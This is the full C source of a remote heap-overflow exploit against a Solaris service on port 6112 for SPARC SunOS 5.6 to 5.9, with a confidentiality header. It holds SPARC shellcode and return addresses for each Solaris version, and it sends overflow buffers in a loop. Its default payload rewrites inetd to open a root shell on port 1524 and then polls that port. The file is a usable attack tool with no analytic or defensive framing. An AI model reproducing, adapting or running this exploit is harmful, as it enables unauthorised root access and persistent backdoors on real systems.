/* Remote exploit for Solaris Napalm heap overflow - SPARC version By scut@hotmail.com, virtualcat@xfocus.net *************** Private copy, __DO NOT__ distribute ************************ TESO CONFIDENTIAL - SOURCE MATERIALS The contents of these coded instructions, statements and computer programs may not be disclosed to third parties, copied or duplicated in any form, in whole or in part, without the prior written permission of TESO Security. This includes especially the Bugtraq mailing list, the www.hack.co.za website and any public exploit archive. (C) COPYRIGHT TESO Security, 2002 All Rights Reserved **************************************************************************** This is unpublished proprietary source code of TESO Security. bug found by scut Tested on 2.6/7/8. tested against: SunOS 5.6 SunOS 5.7 SunOS 5.8 SunOS 5.9 */ #include #include #include #include #include #include #include #define BUFF_LEN 8360 #define PORT 6112 #define NNOP 2048 extern char *optarg; char NOP_bna[] = "\xa2\x1c\x40\x11\x20\xbf\xff\xff"; char NOP[] = "\xa2\x1c\x40\x11"; /* Working "ksh -c " shellcode for Napalm */ char shellcode[]= "\x20\xbf\xff\xff" // bn,a "\x20\xbf\xff\xff" // bn,a "\x7f\xff\xff\xff" // call "\x92\x03\xe0\x50" // add %o7, 0x50, %o1 "\x90\x02\x60\x10" // add %o1, 0x10, %o0 "\x20\xbf\xff\xff" // bn,a "\xff\xff\xff\xff" // Leave space for t_p "\xe0\x02\x3f\xf0" // ld [ %o0 + -16 ], %l0 "\xa2\x80\x3f\xff" // addcc %g0, -1, %l1 "\xa0\x24\x40\x10" // sub %l1, %l0, %l0 "\xd0\x22\x3f\xf0" // st %o0, [ %o0 + -16 ] "\xc0\x22\x3f\xfb" // clr [ %o0 + -4 ] "\xa2\x02\x20\x09" // add %o0, 9, %l1 "\xc0\x2c\x7f\xff" // clrb [ %l1 + -1 ] "\xe2\x23\x3f\xf4" // st %l1, [ %o0 + -12 ] "\xa2\x04\x60\x03" // add %l1, 3, %l1 "\xc0\x2c\x7f\xff" // clrb [ %l1 + -1 ] "\xe2\x22\x3f\xf9" // st %l1, [ %o0 + -8 ] "\xa2\x04\x40\x10" // add %l1, %l0, %l1 "\xc0\x2c\x7f\xff" // clrb [ %l1 + -1 ] "\x82\x10\x20\x0b" // mov 0xb, %g1 "\x91\xd0\x20\x08" // ta 8 "\xff\xff\xff\xff" // Need to put negation of the length of the cmd + 1 here "\x22\x22\x22\x22" "\x33\x33\x33\x33" "\x44\x44\x44\x44" "\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x20\x2d\x63\x20"; typedef struct { unsigned int retAddr; // shellcode's entry point unsigned int retLoc; // location to be overwritten char desc[32]; // Description } Magic; #define NUM_PLATFORM 4 Magic sysMagic[NUM_PLATFORM] = { { 0x0002c5e8, 0xffbef97c, "Solaris 5.6" }, { 0x0002ca30, 0xffbefa4c, "Solaris 5.7" }, { 0x0002cd15, 0xeffebaec, "Solaris 5.8" }, { 0x0002ce50, 0xffefbaec, "Solaris 5.9" }, }; char dummyBlock[48]; char cmd[] = "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/.x;" "/usr/sbin/inetd -s /tmp/.x;/bin/rm -f /tmp/.x"; void usage(char* argv0) { printf("usage: %s -h host (-t 0|1|2|3) (-d default) (-?)\n", argv0); } void help(char* argv0) { usage(argv0); printf("\twhere\n"); printf("\t h - Host name or ip\n"); printf("\t t - System id. default is Solaris 8\n"); printf("\t\t\t0 SunOS 5.6 SPARC\n"); printf("\t\t\t1 SunOS 5.7 SPARC\n"); printf("\t\t\t2 SunOS 5.8 SPARC\n"); printf("\t\t\t3 SunOS 5.9 SPARC\n"); printf("\t c - User supplied command(s) eg \"touch /tmp/AAA\", \"rm /core;rm /tmp/AAA\", etc.\n"); printf("\t Default is openning a shell at port 1524 on the victim\n"); printf("\t o - +/- offset from the default overwritten location\n"); printf("\t n - Number of hits\n"); printf("\t Default is 1\n"); printf("\t Negative or zero means 1024 hits\n"); printf("\t Address increasement is 4 - Increasing from the default location or the given offset\n"); printf("\t a - Adjustment. Default is 0, if default doesn't work, 4 should work \n"); printf("\t ? - This help\n\n"); printf("\t By scut@hotmail.com \n\n"); printf("\t Sett. 2002\n\n"); } int main(int argc, char** argv) { struct sockaddr_in targetAddr; struct hostent* host; char buffer[BUFF_LEN+1]; char* cmdPtr = NULL; int cmdLen = 0; int shellCodeLen = 0; int offset = 0; int fire = 1; int userCmd = 0; int system = 0; int adj = 0; char ch; int sockfd; int bytes; int i; int port = PORT; char* hostName = NULL; int nHits = 1; unsigned int retLoc = 0; unsigned int retAddr = 0; cmdPtr = cmd; while((ch = getopt(argc, argv, "h:p:c:o:t:n:a:?")) != EOF) { switch(ch) { case 'h': hostName = optarg; break; case 'p': port = atoi(optarg); break; case 'c': cmdPtr = optarg; userCmd = 1; break; case 'o': offset = atoi(optarg); offset = ((offset % 4) == 0 ? offset : offset + (4 - (offset % 4))); break; case 't': system = atoi(optarg); if(system < 0 || system > NUM_PLATFORM) { help(argv[0]); exit(0); } break; case 'n': nHits = atoi(optarg); if(nHits <= 0) { nHits = 1024; } break; case 'a': adj = atoi(optarg); adj = ((adj % 4) == 0 ? adj : adj + (4 - (adj % 4))); break; case '?': help(argv[0]); exit(0); default: usage(argv[0]); exit(0); } } if(hostName == NULL) { usage(argv[0]); exit(0); } host = gethostbyname(hostName); if (host == NULL) { perror("gethostbyname() failed"); exit(0); } targetAddr.sin_addr = *(struct in_addr *)host->h_addr; targetAddr.sin_family = AF_INET; strcpy(buffer, "AAAAAAAAAA20942094XX"); memset(buffer+20, 'A', BUFF_LEN-20); buffer[4096+20] = 0x00; buffer[4096+20+1] = 0x00; buffer[4096+20+2] = 0x20; buffer[4096+20+3] = 0x94; // The tricky bit buffer[4096+20+12] = 0x00; buffer[4096+20+12+1] = 0x00; buffer[4096+20+12+2] = 0x10; buffer[4096+20+12+3] = 0x50; for(i=0; i < NNOP; i+=8) { memcpy(&buffer[32+i], NOP_bna, 8); } memcpy(&buffer[32+NNOP-4], NOP, 4); for(i=0; i < strlen(shellcode); i++) { buffer[32+NNOP+i] = shellcode[i]; } cmdLen = ~(strlen(cmdPtr)+1); buffer[32+NNOP+88] = (char) ((0xff000000 & cmdLen) >> 24); buffer[32+NNOP+88+1] = (char) ((0x00ff0000 & cmdLen) >> 16); buffer[32+NNOP+88+2] = (char) ((0x0000ff00 & cmdLen) >> 8); buffer[32+NNOP+88+3] = (char) (0x0000000ff &cmdLen ); shellCodeLen = strlen(shellcode); for(i=0; i < strlen(cmdPtr); i++) { buffer[32+NNOP+shellCodeLen+i] = *(cmdPtr+i); } memset(dummyBlock, 0xff, 48); // t_s dummyBlock[3] = 0xf8; retAddr = sysMagic[system].retAddr + NNOP/2 + adj; // t_p dummyBlock[8] = (char) ((0xff000000 & retAddr) >> 24); dummyBlock[9] = (char) ((0x00ff0000 & retAddr) >> 16); dummyBlock[10] = (char) ((0x0000ff00 & retAddr) >> 8); dummyBlock[11] = (char) (0x000000ff & retAddr); if(userCmd) { printf("Exploit: User command=\"%s\"\n", cmdPtr); } else { printf("Exploit: Open a shell on %s at port 1524 as default.\n", hostName); } i = 0; retLoc = sysMagic[system].retLoc + offset; while(fire) { // Check whether port 1524 is opening if(!userCmd) { sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { perror("socket() failed\n"); exit(0); } targetAddr.sin_port = htons(1524); if( (connect(sockfd, (struct sockaddr *) &targetAddr, sizeof(targetAddr))) == 0) { if(i == 0) { printf("%s port 1524 has already oppened.\n", hostName); } else { printf("\n*** 'Open! Open! ...', 'Sesame! Sesame! ...' - Succeeded!!! ***\n"); printf("host %s port 1524 has been opened. Telnet to 1524, be careful!\n", hostName); } fire = 0; } else { if(i != 0) { printf("### Failed. ###\n\n"); } } close(sockfd); } if(i > ((nHits-1)*4)) { fire = 0; } // Try to shoot if(fire) { sockfd = socket(AF_INET, SOCK_STREAM, 0); targetAddr.sin_port = htons(port); if (connect(sockfd, (struct sockaddr *) &targetAddr, sizeof(targetAddr)) == -1) { perror("couldn't connect to the server"); exit(0); } // t_n dummyBlock[32] = (char) ((0xff000000 & retLoc) >> 24); dummyBlock[33] = (char) ((0x00ff0000 & retLoc) >> 16); dummyBlock[34] = (char) ((0x0000ff00 & retLoc) >> 8); dummyBlock[35] = (char) (0x000000ff & retLoc) ; memcpy(buffer+4096+20+12+4128+8+48, dummyBlock, 48); printf("================================ Hit %d ================================\n", i/4+1); printf("Trying %s - %s SPARC, nHits=%d\n", hostName, sysMagic[system].desc, nHits); printf("Loc=0x%.8x Addr=0x%.8x Offset=0x%x Adjusted Loc=0x%.8x\n", sysMagic[system].retLoc, sysMagic[system].retAddr, offset, retLoc); bytes = send(sockfd, buffer, BUFF_LEN, 0); close(sockfd); sleep(2); retLoc += 4; i += 4; } } } /* End of File */